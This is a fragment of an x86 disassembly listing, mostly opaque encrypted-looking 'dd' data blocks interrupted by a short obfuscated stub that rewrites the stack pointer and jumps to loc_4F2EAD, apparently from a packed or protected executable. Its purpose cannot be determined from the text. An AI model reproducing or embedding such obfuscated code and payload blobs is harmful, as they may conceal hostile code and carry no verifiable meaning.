		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4383AEF8h, 0FD32DCF1h
		dd 0BA8C1C96h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 5D13B338h, 0DF07462Ch, 52A1ED0Bh, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0E519BC2Fh
		dd 3C52505Eh, 0B87A1711h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83314D74h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0EA17FB23h
		dd 25FB737Fh, 0FDF53FD5h, 7C3FF0ADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F4B97Ch, 0B7ECFFA0h
		dd 0C87D7C26h, 0F305E983h, 8DDB8BA4h, 9EDB6BDh,	9D8D8D06h
		dd 0B8060A08h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0E5BD83C0h, 60304h, 0BD830975h
		dd 6032339h, 50197400h,	0B8C08B53h, 411h, 7398589h, 9D8D0603h
		dd 605B626h, 585BD3FFh,	2339BD83h, 74000603h, 0B8535017h
		dd 411h, 7398589h, 9D8D0603h, 605B2C7h,	585BD3FFh, 0F2BBC08Bh
		dd 0E84672A4h, 9, 142F24B5h, 0BF8BF90h,	0AAFBB9B6h, 0BA5E73C8h
		dd 4D32F373h, 64FAC681h, 810F0000h, 5, 78DFF9BBh, 190D6830h
		dd 8B660000h, 0AE95FCEh, 0E9000000h, 6B60E27Fh,	9059D4D3h
		dd 8A068B8Ah, 0FFF081EAh, 0B13A7C9Dh, 2DE8810Ah, 66088EFBh
		dd 0F081D18Bh, 11A108A8h, 3820Fh, 8B660000h, 0BE850DEh
		dd 0FB000000h, 62790B91h, 987754BBh, 0DB8167ECh, 7A13B6D4h
		dd 83068F5Bh, 0EE904EEh, 0E5000000h, 0F598E6A9h, 1A17C968h
		dd 0BFE8F2F5h, 1EF83C0h, 18850Fh, 0F08A0000h, 29E9h, 35991800h
		dd 0E276E705h, 0DCA3E9F1h, 61A3DCEAh, 0C9800DD0h, 0FF83E929h
		dd 1098FFFFh, 0CB52CC0h, 34A1E425h, 924AA4A1h, 4EB053Ch
		dd 1FDFE0A0h, 533E9h, 4CD5600h,	23F47A98h, 401199B7h, 632CB6D4h
		dd 8354D9F7h, 480C5817h, 6886F2C3h, 8AA814DDh, 0ABC935FEh
		dd 0E2E75324h, 4E056B36h, 0DFEDD01Bh, 2703B6Dh,	0F2D01B4Eh
		dd 939263E8h, 824D4598h, 0CE9F2432h, 0FE84D4CFh, 3B332E2Dh
		dd 0DEDDAE35h, 249061E6h, 0AFAE7F06h, 605F30B7h, 0DEAF3644h
		dd 3635068Eh, 0B73D433Bh, 0AC07E7E6h, 0AF8007AFh, 0D0992543h
		dd 0F1BA4664h, 3EC8D6F2h, 456B8954h, 0FE0BD611h, 0B9B1ACABh
		dd 605F28B3h, 9A666342h, 45579D68h, 121FD611h, 0BF88141Ah
		dd 0DDAE3553h, 5D65B69h, 0A3C580Dh, 1145313Fh, 0FE067D6h
		dd 34BC0C19h, 71696463h, 114545AEh, 0D6D3A8D6h,	39E38348h
		dd 7C8A5Ch, 56D90000h, 3FFE06CFh, 0D336D4B1h, 0A0CC8180h
		dd 0F2D611DCh, 0A8A09F68h, 34504F20h, 11DC0B69h, 0CEDEEBD6h
		dd 7B2623h, 54622E2Bh, 3FEFDCEh, 7AD41F0Bh, 15F5C39h, 0AE000000h
		dd 0FFD056h, 0B2B18208h, 686730BAh, 64302D88h, 0FC681D5Bh
		dd 544C1B47h, 0C8D6C84Eh, 0A68753Eh, 0EAD611F6h, 8B8A5BE0h
		dd 9BF23D90h, 5C44A49Fh, 6E8CF84Bh, 68AA16E7h, 4B056B36h
		dd 0E0EDD611h, 0D1561DE8h, 83090100h, 4605B3B2h, 0E46F7D49h
		dd 981D231Bh, 0BA4553C7h, 0FFF7F2F1h, 4638BFDDh, 1145757Bh
		dd 9DF0FDD6h, 4D1EA69Eh, 7047D4Eh, 39E16279h, 66B1BA5Ch
		dd 0ECE76D7Ch, 833B766Eh, 8A000000h, 0E708D156h, 105CACF5h
		dd 9010053h, 0D1B1B081h, 4CD17976h, 0C4CD0F7Bh,	0DBD96E4Ah
		dd 343A325Ah, 0C3DFDEAFh, 38E14BAh, 703BB5B5h, 0D6117002h
		dd 4792E5F2h, 8705190Ah, 90968E29h, 97C93D06h, 11E6A6CCh
		dd 49414ED6h, 4D4AC394h, 394224BFh, 64EF5Ch, 0D1DF0000h
		dd 27F87D4Bh, 0DBDA2D28h, 561DE8E0h, 7E8C00D1h,	7C3129F2h
		dd 0D632E60h, 0E5D61145h, 4EDAE0D8h, 747D8685h,	794ACF77h
		dd 0D0562A0Dh, 204B00FFh, 70D61145h, 231B1AEBh,	7849CE9Ch
		dd 141D2625h, 0CDF16C17h, 0E66E34BFh, 0C81B1615h, 456B8954h
		dd 0FE0BD611h, 0A02E2B06h, 5C39E32Bh, 1E2h, 0CE563100h
		dd 7F06FEFDh, 0B291AFAEh, 0B7850DB5h, 68605F30h, 6DC013DCh
		dd 0B14FB601h, 67B5723Dh, 0A3ADDC14h, 56515019h, 850C0403h
		dd 0E43740B4h, 0AF4F2B84h, 9DF0B945h, 0DE6583A5h, 1D590E0Dh
		dd 6ED01262h, 39C06865h, 57DEFC68h, 88F8786h, 2DB5C337h
		dd 0B8810C5Ch, 9E5D0BC0h, 0A172F9A1h, 0C4BA3135h, 50825A3Ah
		dd 126E6F85h, 0AAFA07D0h, 245F5720h, 0FDh, 24FC2973h, 491AA2B0h
		dd 2D574F4Ah, 145FC962h, 2094A1DCh, 0C6BE8712h,	5BE7F511h
		dd 0D949A92h, 858ED03Ch, 3CC0CDD1h, 0DDE3DB47h,	8E868556h
		dd 89373607h, 9E25CDCAh, 965D61CDh, 9D5A3A6Ch, 47h, 31F129ECh
		dd 7C087206h, 833768B3h, 0A26DE134h, 0D61102FCh, 0B3686774h
		dd 0D61102BDh, 8E13211Bh, 0EDEAC5BDh, 9E20E018h, 0C1D78587h
		dd 2CF76BBEh, 0D611C976h, 5885F1FEh, 7Dh, 9A68EEFCh, 0F1F04314h
		dd 3233FEF6h, 453F3500h, 0AAB7D611h, 82067FB2h,	9AF28Dh
		dd 40B40729h, 14D4BE75h, 0ACABB8DCh, 0F05C2DB4h, 7B7A4BD2h
		dd 1290A3C6h, 7280D8D0h, 25201FE8h, 0AD55522Dh,	9EE95526h
		dd 5A259967h, 0DA188707h, 0CBC3C2CFh, 69875244h, 9DA1CA7h
		dd 8CAAA9FCh, 0A2DBB0ADh, 715962D6h, 2FF8E008h,	723D675Fh
		dd 0D016CF6Fh, 5D66DAE7h, 3443B6D4h, 0C1E3DB5Ah, 3FC29DEh
		dd 11453A38h, 7CB5BAD6h, 13C8B64h, 0C450A0F3h, 234A8FBh
		dd 9F9E6FF4h, 98E9ACA4h, 0E0DC1B9Bh, 847C4DD2h,	0B0CCCBD8h
		dd 632E18A2h, 0D01B930Dh, 1185D8E5h, 1B932846h,	0C3BBC8D0h
		dd 0E16836BDh, 0F51BD10h, 0AEAD7601h, 2EB5BBB3h, 10425E5Dh
		dd 1B932F45h, 0CE99C7D0h, 0D01B93A0h, 0F8F04350h, 0EDE01335h
		dd 0E1A731E9h, 3A398C55h, 0D5CD5A47h, 52A25B9Bh, 4CFAF9CAh
		dd 0ADE5908Dh, 26AD5552h, 44CBE955h, 0F27C7473h, 0B883B529h
		dd 0C9F134BAh, 80352D3Ah, 9E263462h, 7A794AD0h,	322D2C7Fh
		dd 0BA625F3Ah, 0E5EE6233h, 4399BF8Ah, 30524AB1h, 0BBBA8B12h
		dd 3B4h, 3D54B700h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h
		dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h
		dd 4EC836Fh, 51242489h,	4B9h, 244C0100h, 0B6685904h, 8900004Ch
		dd 0EC81241Ch, 4, 50242C89h, 636EBF57h,	814F1CFBh, 401256F7h
		dd 85E7812Dh, 813D3433h, 3D3B4DCFh, 81DFF753h, 0CEA4F7C7h
		dd 5FF88985h, 2D06E8C1h, 604574F7h, 4004E0C1h, 782DE8D1h
		dd 89FA1C7Ah, 8B5458C3h, 0C483242Ch, 591C6804h,	1C890000h
		dd 8458F24h, 5D2434FFh,	4C481h,	1C8B0000h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0F96DF8E9h, 5721FBFFh, 7BD01F2Ah
		dd 0C9E027C5h, 0A0F98B8h, 0FFC50306h, 0A12E11E0h, 842EE265h
		dd 332DB25Bh, 6318174Fh, 73839D42h, 33EB1B56h, 9855FF49h
		dd 5723F552h, 25BD451Dh, 0A1678F6Ah, 92CE4874h,	4FE6F72Fh
		dd 4FC37D74h, 16DF4F2Dh, 0FC9D5B43h, 9204EB2Fh,	0E9500ED2h
		dd 564h, 1B8750D9h, 3AA677FDh, 57C3941Ch, 7AE6AF39h, 9A06D75Ch
		dd 46CB8FDBh, 60EB0975h, 810D2B97h, 0A72E4CB8h,	0B9656AD6h
		dd 1B5580EEh, 4F6270D0h, 0FFFECF56h, 45B18207h,	0D0CFA027h
		dd 818051D8h, 33320389h, 54A0A953h, 0DEAF3652h,	636B5C93h
		dd 0EB93906Bh, 0ED1F9364h, 898859DFh, 7573818Eh, 0F603D611h
		dd 4F4E1FA6h, 1C3A5C54h, 195BC790h, 844DD9E7h, 777D8A85h
		dd 0FFD61175h, 0BDB37EF2h, 35D61175h, 9E2A3028h, 53DED6D5h
		dd 3F6D8B8Ah, 0A9656136h, 5C57561Fh, 0EE6B2F11h, 5048199Eh
		dd 44D07875h, 6AF10F7Bh, 0F043149Ch, 0E4333CF1h, 6136D611h
		dd 421DD664h, 87185C39h, 8000000h, 0ACA475FAh, 9F2432E1h
		dd 60D4CFCEh, 11455F95h, 120A17D6h, 0B5B4850Ch,	569C6799h
		dd 0A0D61145h, 11459FD5h, 544A57D6h, 608C4F47h,	87D61145h
		dd 0AC27B5B2h, 675C39E3h, 1, 0FFD056B6h, 0B1820800h, 6730BAB2h
		dd 0A3DFEAF3h, 0B500C953h, 0D549D642h, 1145E40Ah, 877F8CD6h
		dd 3A48F2D2h, 0FEAE2B3h, 13E46A12h, 3E07919Fh, 0FB1C4C3Fh
		dd 309A591Bh, 81C3E5DDh, 16E844Fh, 0F906D611h, 0A374FB01h
		dd 0D1565437h, 70838C00h, 0C68F1AADh, 3739507Bh, 6D6FEEECh
		dd 3B33D23Ch, 1F616A86h, 786D0618h, 961C221Ah, 5918C6C5h
		dd 5E2FB45Ch, 7C4DD4F2h, 2CFD857Dh, 0E6E35C2Dh,	39F38358h
		dd 78D9B5Ch, 92033E36h,	52000000h, 0D69F2432h, 4E6102EEh
		dd 7B7ACDAFh, 0FD828880h, 0AD352D2Ch, 0A2FDDDDCh, 0A778FDA5h
		dd 0C7981D3Bh, 7D46D0C8h, 0DCE5AD7Eh, 0F35230C5h, 0E3AC37ECh
		dd 0E7B84090h, 1AF5EDE8h, 8F548F1Dh, 86DF5C39h,	2E000000h
		dd 14DFD156h, 0D61145DEh, 37368996h, 0FEC9B33Fh, 0D61145F0h
		dd 21207380h, 26B2C018h, 0E0DD660h, 0C6C1C013h,	2A22EB76h
		dd 5486524Fh, 11456B89h, 12DD0BD6h, 0D61145DCh,	3C348794h
		dd 5E8B136h, 0BDDC0AD8h, 30F983D3h, 77E33631h, 0FFD05694h
		dd 28F17D8Bh, 0ADC67B30h, 0EBD61145h, 41129866h, 6DF7EFEEh
		dd 939CA5A4h, 9B70EB96h, 92A0D29Eh, 0C72D3A0Bh,	0AFD61145h
		dd 35BEAAA2h, 5C39E3h, 1, 3500324Fh, 0D611453Fh, 0ACB2AAB7h
		dd 5C545324h, 0D0504D5h, 0C1B9B881h, 0B76F6E37h, 0DF670F0Ch
		dd 0C1140F0Eh, 0C76F6C4Bh, 0C0026E3Fh, 0E592AB2h, 71FAA235h
		dd 0EB1E16A8h, 9364E9B2h, 9AEDBE43h, 15DC5B26h,	8996DC14h
		dd 3A0B928Ah, 8F5A8CCEh, 0D012D161h, 60C0411h, 93AFAE7Fh
		dd 0E530F985h, 404FAFC0h, 0CCFC760h, 0D012EFE0h, 0DCDBAC32h
		dd 8E8D5EE4h, 0AB5653AEh, 9C44414Ah, 0EFC04715h, 36A2F5F0h
		dd 1BC89118h, 0C0891314h, 0F1516A75h, 20A79F9Eh, 0E3A2504Fh
		dd 0E6B73EE6h, 7A7D767Ah, 4FB85A3Ah, 7000001h, 0B024FC29h
		dd 73814C7Eh, 0A9D61145h, 4E5B5122h, 5F989356h,	0C5D2DC14h
		dd 7647CEC6h, 9F68F402h, 8BADA5A0h, 0A115E66Dh,	41400993h
		dd 0A1994E46h, 9C4A491Ah, 0B138E0DDh, 7B7074E0h, 0B25A3AF8h
		dd 5Fh,	4EE799A2h, 0B021AFEEh, 83CE40C9h, 23EE9108h, 0D0127ECDh
		dd 4D4598A5h, 29F12982h, 4534EAB5h, 0AFBCD611h,	44F5FBB0h
		dd 6963D611h, 535BCB60h, 0F5B4FFC8h, 2702FAB2h,	0C9505E2Ah
		dd 5DCD00F8h, 192759CDh, 7CAC293h, 0D6113C59h, 1E60CCD9h
		dd 3FD321ECh, 96A3D611h, 0AC899Eh, 298C0000h, 0E5B024FCh
		dd 0DC14674Eh, 241C1B28h, 179DAB9Dh, 3F4C4746h,	0D0126631h
		dd 1211E267h, 0A0142117h, 12669FD5h, 0F74A57D0h, 15E66D8Bh
		dd 65186116h, 0FA84D012h, 4B163231h, 0D0126125h, 0E670C0CDh
		dd 0BB661E1Dh, 0A9B213BEh, 0AC7D04ACh, 0A0322F38h, 2792E03Dh
		dd 83824BD7h, 2C6E9088h, 29503E23h, 2C7CF38Dh, 0DCD7D6A7h
		dd 0B474B1E4h, 5250DA43h, 1286D925h, 18B8A747h,	33323FDAh
		dd 0E4E3B43Bh, 15EAE7C6h, 6A9C10E8h, 800AD05Ch,	6ABDB8B7h
		dd 0B578706Bh, 0D016A831h, 232CA0ADh, 0D762E778h, 0C9140F0Eh
		dd 69612EAAh, 0FC296447h, 1E5B024h, 0DDDC1B55h,	0C24E5CD0h
		dd 7B02FAF9h, 5DB0ABAAh, 31B8B065h, 0A4B2F460h,	77FC4C1Dh
		dd 0B4ACA7A6h, 575627AEh, 1C1896A2h, 34318C2Ah,	1D25A68h
		dd 93ACC28Dh, 37448A1Fh, 0E1B2393Fh, 0FFD05775h, 0B57E0800h
		dd 0BCB998B6h, 50BC8D14h, 0DBDAAB32h, 5B2CB1BFh, 84E63h
		dd 0E4F20000h, 0CD989059h, 0CD563D54h, 860D0504h, 32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 686F9D9Ch, 556Fh,	68241489h, 7491h, 51241C89h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 34895C24h,	9BD5524h
		dd 0C14BE525h, 0E58105E5h, 0C1D7A0Bh, 485EE581h, 0ED811FBBh
		dd 0B4DFB019h, 815DEB89h, 2A5F64F3h, 348B5451h
		dd 4C48324h, 8904EC83h,	468F241Ch, 24348B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		dd 3A045F96h, 0AA9F0D28h, 0A155AB8h, 0FFC50306h, 8C26D3E0h
		dd 397DAF14h, 0E11CFA40h, 3E90777Eh, 40506E0Bh,	74CE0D5Ch
		dd 1D59568h, 72EF627h, 5A4D162Bh, 6CB3081Ch, 0C5DC8D2Fh
		dd 0C570B075h, 0D0642D36h, 0EAA3032Eh, 0BA244600h, 2D8BC02Fh
		dd 0B1BBC200h, 0FCE8D748h, 9BDE33Dh, 0EDE935h, 66600000h
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6032621h, 0F00FE83h
		dd 2285h, 0A185C600h, 4506031Bh, 72696968h, 0E1B5FF8Eh
		dd 8D060302h, 67C5885h,	89D0FF06h, 3077985h, 80F08B06h
		dd 850FE93Eh, 31h, 6792858Dh, 0D0FF0608h, 1C99BD8Bh, 0C7810603h
		dd 1184h, 2621B58Bh, 0F7870603h, 8B9h, 8BA4F300h, 32621B5h
		dd 71858D06h, 0FF06072Ah, 0F9B58BD0h, 8306030Fh, 850F00FEh
		dd 22h,	1BA185C6h, 68540603h, 0FF4EBEF4h, 2E1B5FFh, 858D0603h
		dd 6067C58h, 8589D0FFh,	6030FF9h, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 30FF9B5h,	92858D06h, 0FF060867h, 99BD8BD0h
		dd 8106031Ch, 1184C7h, 8C78300h, 0FF9B58Bh, 0F7870603h
		dd 8B9h, 8BA4F300h, 30FF9B5h, 71858D06h, 0FF06072Ah, 8DC361D0h
		dd 0A164185h, 89858906h, 0EB060326h, 8,	4AE81700h, 4ACE931h
		dd 57680000h, 0E9060A18h, 0FFF966CDh, 0A18F268h, 66C3E906h
		dd 1768FFF9h, 0E9060A1Ah, 0FFF966B9h, 0FF6B34BDh, 1E8A5BE1h
		dd 3BA77800h, 5ECA931Dh, 7EEABB40h, 2AAF73BFh, 44CFED59h
		dd 65F10F7Bh, 8B12309Ch, 9D494EBAh, 1B529CD2h, 334654D0h
		dd 8C00D156h, 2F27F87Eh, 0C5505E7Ah, 77FE04FCh,	0EAF83AA6h
		dd 440D9765h, 0FFF74A45h, 53C751CCh, 1465E388h,	407E83DCh
		dd 0C22F4F71h, 0E39897EAh, 0D0124D89h, 2AB8B52Eh, 5A3AEBA1h
		dd 2CF6Ch, 6E535C00h, 0FF45B9BFh, 3201CCC4h, 0D0CF9824h
		dd 589661D5h, 18D61145h, 0C7CA130Bh, 0CC22ED1Fh, 0A4D61145h
		dd 316C9F97h, 2F28F367h, 47DC1460h, 0CAF44042h,	6E297445h
		dd 3713C0Fh, 0F3D0129Dh, 104093E6h, 75733ABDh, 9C2836D5h
		dd 55DCD4D3h, 378A8584h, 7910C3Fh, 778FC893h, 1A27DF7Dh
		dd 0F18FF61Bh, 3C98B27Dh, 310D578h, 29FA818Fh, 47189FBDh
		dd 25CBF2F0h, 0E7EEEFD8h, 2F9h,	0EF5B24ADh, 0E7A4BD1h
		dd 2B9768F0h, 4EBA830Dh, 6EDAAB30h, 1A9F63AFh, 34BFDD49h
		dd 55E1FF6Bh, 7B02208Ch, 8D393EAAh, 1B5DACC2h, 233644D0h
		dd 0CF982432h, 9F79A4D7h, 5C5A602Bh, 939CDC1Bh,	99D789C8h
		dd 0E2257024h, 76AEF1E8h, 0FF09B5ADh, 0ADA8A778h, 0FD006E39h
		dd 0E3F0D01Bh, 820E1C90h, 8997C1B9h, 85C73304h,	2B23EC77h
		dd 5BCFA025h, 0F6F5C64Dh, 324E03FBh, 0AC4AA529h, 68B30ABCh
		dd 0A8C8104Bh, 0A4675FA4h, 0D01B2345h, 186F40C7h, 0CEC0B710h
		dd 5E192021h, 48000002h, 6C8AF6BFh, 8BA915E6h, 0A8C63203h
		dd 0CBE9551Eh, 4A097546h, 0E4B53AFEh, 6CF5A78h,	27F07C9Ah
		dd 45169DBBh, 5D28D4D9h, 0D01B5D17h, 29BED1DFh,	0E5B024FCh
		dd 0DC1B5CC7h, 0BF8D1321h, 19186B34h, 6D7A261Eh, 52BFB96Eh
		dd 8B04D01Bh, 0F0CB008Eh, 21535A33h, 1B5A1856h,	0D3CBD8D0h
		dd 15398h, 0CF56E700h, 8007FFFEh, 8DF843AFh, 9FB47FF3h
		dd 17DC144Ah, 31626612h, 81D1F0CAh, 322D2CF5h, 0C12BE0DFh
		dd 76D012DFh, 797200FDh, 0B45A3A7Dh, 31h, 7FBD9BA4h, 3EE7499Ch
		dd 0FC297B46h, 7FD29B27h, 687F400Bh, 0EAF7DC14h, 663C36EBh
		dd 881D012h, 0AA313F0Bh, 0FEF5E1D9h, 355A3AC0h,	99h, 0FECF5684h
		dd 6ECE818Ah, 2CCCE5D5h, 2877F34h, 0E4163231h, 11D0DB19h
		dd 968E9BD6h, 39380990h, 814D141Dh, 1E70E5Ah, 0AE7C0309h
		dd 9A065922h, 11239BBFh, 693AC1D6h, 8C4BB2FDh, 112BB3C1h
		dd 0E33643D6h, 9616A46Fh, 414EDC16h, 693ABFCDh,	895ADFFDh
		dd 0BC722032h, 3D4445CEh, 139h,	0AF1BE46Dh, 0CE3A0B91h
		dd 0EB5728B0h, 0E7A43CDh, 2E9A6BF0h, 0DA5F236Fh, 0F47F9D09h
		dd 15A1BF2Bh, 3BC2E04Ch, 4DF9FE6Ah, 1B5F6C82h, 0E3F604D0h
		dd 9400D156h, 0B21EEF76h, 0FECF56CFh, 0AF8007FFh, 9FF80143h
		dd 0C5817439h, 225B8E86h, 4417E256h, 0FEDC149Ah, 0EA6F7DF1h
		dd 74556D21h, 0BF12120Dh, 6685424Bh, 42F87D92h,	234D284Ah
		dd 4DD012E7h, 0E722501Bh, 0C5D2D012h, 6F40C7CDh, 35B8C103h
		dd 4B6BDABEh, 59DEE4DCh, 0AA828988h, 85000000h,	9F27FC29h
		dd 0F9077BCEh, 0AEA6A56Eh, 605B5A23h, 0B9EB150Dh, 605821ABh
		dd 1B5C139Dh, 47CFDDDCh, 0C5D27E76h, 7647CEC6h,	9465EC0Ah
		dd 2ECBE095h, 0A6310B58h, 61E6DEDDh, 0EA3D0E93h, 9B6CF3EBh
		dd 9E494625h, 79B3BC66h, 0BF6A884Eh, 514E2921h,	0DD5122A9h
		dd 6892E0ABh, 19E4EB5Ah, 0EB5A68DBh, 8E988E9Bh,	3B363506h
		dd 411298E8h, 2D4F4742h, 692BE2EBh, 33BB2C34h, 0DDAE353Bh
		dd 9C026069h, 0E3942411h, 0B43E36EBh, 0EFCEECEBh, 0F2C34AF2h
		dd 0AE3B4486h, 7D8B69E2h, 0FD848A82h, 87DAA32Fh, 38188h
		dd 54840000h, 4CD563Dh,	0B5860D05h, 6932BEB6h, 1EE7726Ah
		dd 0D1A2271Fh, 8455DAD2h, 3A038D85h, 0EABB433Bh, 9C6DF3EBh
		dd 89566F9Dh, 4C681E6h,	83000000h, 348704EEh, 1C895C24h
		dd 5D056824h, 34890000h, 4BD76824h, 1C890000h, 51B16824h
		dd 14890000h, 36666824h, 0C15A5E3Ch, 0D2F704E2h, 8238EA81h
		dd 0D6891632h, 1C8B545Ah, 4C48324h, 8B951h, 0D9010000h
		dd 0BB53h, 0CB010000h, 595B3389h, 57241C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815E24h,	4, 0F9622CE9h
		dd 75B805FFh, 3060A1Bh,	2EE0FFC5h, 58208327h, 12043C5Bh
		dd 0E3053C53h, 94398FCCh, 0F62D9B96h, 77158483h, 9A38B82Ch
		dd 427CFA4h, 17128FC3h,	6F541BD2h, 0C6558F71h, 0BB35E2E0h
		dd 48165D70h, 534A1DC2h, 8D466442h, 0A1D078Dh, 13E906h
		dd 0D3AD0000h, 0CF210316h, 57B86C0Dh, 0DEEF686Bh, 0E5033A81h
		dd 0DD958B4Bh, 89060316h, 320A58Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 5CEB0D9Ch
		dd 0C3C94CA0h, 1A6585C7h, 6B580603h, 858B0000h,	603046Dh
		dd 7185C7h, 603h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0AFE915C3h, 0F9C6D30h
		dd 0B5FFD0B7h, 6030C69h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0A0C35545h, 0EB030007h, 8912F53Ah, 30709BDh
		dd 1D95FF06h, 9060317h,	329C185h, 0FF006A06h, 323A595h
		dd 0EBC08B06h, 0A76F7E38h, 0AE21C0FBh, 8CB45DAEh, 6BC2424h
		dd 0CA6F6B6Ch, 0B479E519h, 82E01A88h, 0A5B0F550h, 853B38F2h
		dd 0CFEC209Eh, 0A7A07D2Eh, 0A1B64F02h, 4B68A796h, 0BED582AFh
		dd 0CA04EBBCh, 0E93B8FA7h, 0D2Ah, 0A1F1B68h, 60C7E906h
		dd 1168FFF9h, 0E9060A20h, 0FFF960BDh, 0A220468h, 60B3E906h
		dd 568FFF9h, 0E9060A23h, 0FFF960A9h, 0A264268h,	609FE906h
		dd 6A68FFF9h, 0E9060A27h, 0FFF96095h, 0A289D68h, 608BE906h
		dd 62EBFFF9h, 890F2D99h, 0A62E4CB8h, 0C14B69D5h, 0E96E8CF8h
		dd 0A1EDAC18h, 1B8758DDh, 3DA972FDh, 5ECA931Fh,	7CE8B940h
		dd 0F200CB77h, 82D01B58h, 326174h, 11453F35h, 25ADB7D6h
		dd 75A5554h, 0B182090Fh, 6233BAB2h, 8B3E4763h
		dd 47994DCh, 0B440463Eh, 7036E1F3h, 0BA0D640Eh,	0C1BE9DBBh
		dd 8E5FE7F5h, 38099096h, 5829AECCh, 7647CEECh, 27F87F77h
		dd 6B3570BBh, 0ECE72CF7h, 828FDC14h, 0EEA4CE83h, 5119D012h
		dd 0F0EFB843h, 2522FDF5h, 0F3C44B59h, 1501F9F4h, 5A3A4CDEh
		dd 3955h, 0FC29A400h, 15F1062Ch, 0F84B8C44h, 26F6B984h
		dd 6370DC14h, 3445AF64h, 81FAD012h, 92FDF684h, 13385A3Ah
		dd 28000001h, 38C52BF6h, 0A0ADD012h, 3813612Ch,	0D6E3D012h
		dd 0CF5613DEh, 31B37E06h, 50A3DFA4h, 3D45951h, 0B7850C04h
		dd 0E0D6031h, 52BE8F16h, 11535277h, 22F37AD6h, 401198B6h
		dd 28F32541h, 0D6115BCAh, 5B13612Ch, 0D6E3D611h, 0D711DBE0h
		dd 9E6DF900h, 0A475FB4Bh, 7FB2AAA5h, 0D4067A06h, 3299D7A2h
		dd 4C59D611h, 288A9154h, 0FC2EDC14h, 12D4C331h,	0AEA6B3D0h
		dd 3E89F502h, 3F8341C7h, 37F05792h, 127E066Ch, 8EE1EED0h
		dd 3DFCC73Bh, 39DA15C1h, 0BB86B82Ch, 0DA19B4B5h, 0B4FEF4BFh
		dd 6976DA19h, 446E6673h, 74E0B136h, 0DEE52932h,	0CD0D46ECh
		dd 794ACFD5h, 0BF301E22h, 1F2627D4h, 0AB0h, 0B31FE871h
		dd 0D23E0F95h, 0EF5B2CB4h, 127E47D1h, 329E6FF4h, 0DE632773h
		dd 0F883A10Dh, 19A5C32Fh, 3FC6E450h, 51FD026Eh,	1B5A6886h
		dd 0E7FA08D0h, 0AA9C2432h, 114591DFh, 15461D6h,	0B57E0309h
		dd 0E88FE480h, 0F05CAFE0h, 67A4BD2h, 0A8A071F8h, 0FC29A386h
		dd 7FD29B27h, 687F400Bh, 0F2F7DC14h, 0BA0FF97h,	0D19C10FEh
		dd 0D012A9A3h, 0F4F34653h, 12A9353Fh, 0DDE63D0h, 0BF90160Eh
		dd 8885E0C0h, 6E14FFE5h, 5BAE91A9h, 2EBCB932h, 5A3AB9A5h
		dd 1AEB7381h, 9FE722h, 56360000h, 7FFFECFh, 0FDB2B182h
		dd 0D6114ADCh, 3CA87900h, 0C7C6971Eh, 299D7BA2h, 0F4FAC5F7h
		dd 7CD61140h, 0C6971F6Fh, 5A0C0BCEh, 1926DC14h,	5D3B62ADh
		dd 0D70A1EE9h, 3D4ADA15h, 6536BBC9h, 8B5CE3F1h,	4E1998Ch
		dd 1DFF1EF0h, 92B0D2CAh, 0D7E53C0Dh, 0F4D4BEB3h, 9BAECF3h
		dd 0DE670000h, 58BA915h, 22AAC834h, 3DC7E551h, 65EA0874h
		dd 1D692894h, 9703D459h, 0B925EE79h, 0DA460F9Bh, 0F86435BCh
		dd 767C47F3h, 0FED01B65h, 0D156DDF0h, 0EF769400h, 3E70B21Eh
		dd 11457D73h, 0F0E8F5D6h, 35003225h, 0D611453Fh, 0F05D65Dh
		dd 7D040A02h, 2EB5ADACh, 4503713Ch, 29ED611h, 9E4A0DAEh
		dd 0EB3E4B41h, 15343D7Fh, 832522C4h, 56F322Ah, 6FD6110Eh
		dd 685CE266h, 4FC712E3h, 0BCC2BA02h, 0B6F86435h, 89BBB984h
		dd 0F2BDD611h, 0D61189FCh, 64716774h, 0EDF666Ch, 0BF90170Fh
		dd 565312C0h, 0E25627AEh, 898FE5B0h, 5D67D611h,	0D0807D8h
		dd 9CA0C2BAh, 5C392F57h, 0ACDEh, 0FC292D00h, 453A3803h
		dd 0ADBAD611h, 0A6B4E65Ah, 94574F20h, 0DC145E47h, 757EF2FFh
		dd 0F8AF39A0h, 5207FF1Ah, 12F4539Dh, 726FE8D0h,	3A56EFE4h
		dd 77265Ah, 99750000h, 0D611455Eh, 188C1491h, 8051D8E6h
		dd 4533410Ch, 0B6C3D611h, 668CFBBEh, 7986DC14h,	9C6AEF0Dh
		dd 7CF04314h, 63CFD473h, 0A39BABB4h, 0C45CC9EEh, 28F68550h
